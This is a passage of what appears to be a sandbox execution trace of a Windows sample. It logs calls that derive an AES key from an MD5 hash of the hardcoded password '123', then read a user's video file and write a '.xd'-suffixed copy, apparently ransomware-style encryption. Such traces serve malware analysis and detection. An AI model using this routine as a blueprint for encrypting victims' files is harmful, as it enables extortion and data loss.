lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0067.578] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629460, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629460*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0067.578] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.579] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.579] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.579] CloseHandle (hObject=0x0) returned 0 [0067.579] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.579] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0067.579] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0067.579] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.579] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.579] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.579] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.579] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.580] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.580] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0067.580] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.580] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.580] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0067.580] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.580] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.580] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.580] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.580] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.580] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0067.580] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0067.581] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0067.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0067.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0067.581] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0067.581] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa1a8) returned 1 [0067.582] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.582] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.582] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0067.582] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.582] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.582] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.582] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.582] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.582] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.582] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.582] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.582] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.582] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.582] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.582] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.582] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0067.582] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.582] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.582] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.583] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.583] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.583] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.583] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.583] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.583] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.583] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.583] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.583] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.583] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.583] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.583] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.583] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.583] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.583] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.583] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621450, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0067.584] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0067.584] CryptCreateHash (in: hProv=0x17aa1a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0067.584] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.584] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.584] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.584] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629660, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.584] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0067.584] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629670, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.585] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.585] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.585] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.585] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216f0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0067.585] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0067.585] CryptHashData (hHash=0x164c6f0, pbData=0x1629590, dwDataLen=0x3, dwFlags=0x1) returned 1 [0067.585] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.585] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.585] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.585] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.585] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.585] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.585] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.585] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0067.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621738, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0067.586] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0067.586] CryptDeriveKey (in: hProv=0x17aa1a8, Algid=0x6610, hBaseData=0x164c6f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c370) returned 1 [0067.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.586] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.586] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0067.586] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0067.587] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0067.587] CryptDestroyHash (hHash=0x164c6f0) returned 1 [0067.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.587] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.587] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.587] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.587] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.587] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\iyqgx6ra4nrh1hila.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0067.587] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.587] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0067.587] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.587] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.588] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.588] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly")) returned 0x10 [0067.589] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\iyqgx6ra4nrh1hila.swf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0067.590] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.590] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.590] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.590] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.592] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0067.592] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0067.594] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x663b, lpOverlapped=0x0) returned 1 [0067.595] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0067.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.599] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.599] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.599] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0067.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.600] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0067.600] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.600] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0067.600] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.600] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.600] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.600] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0067.600] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", 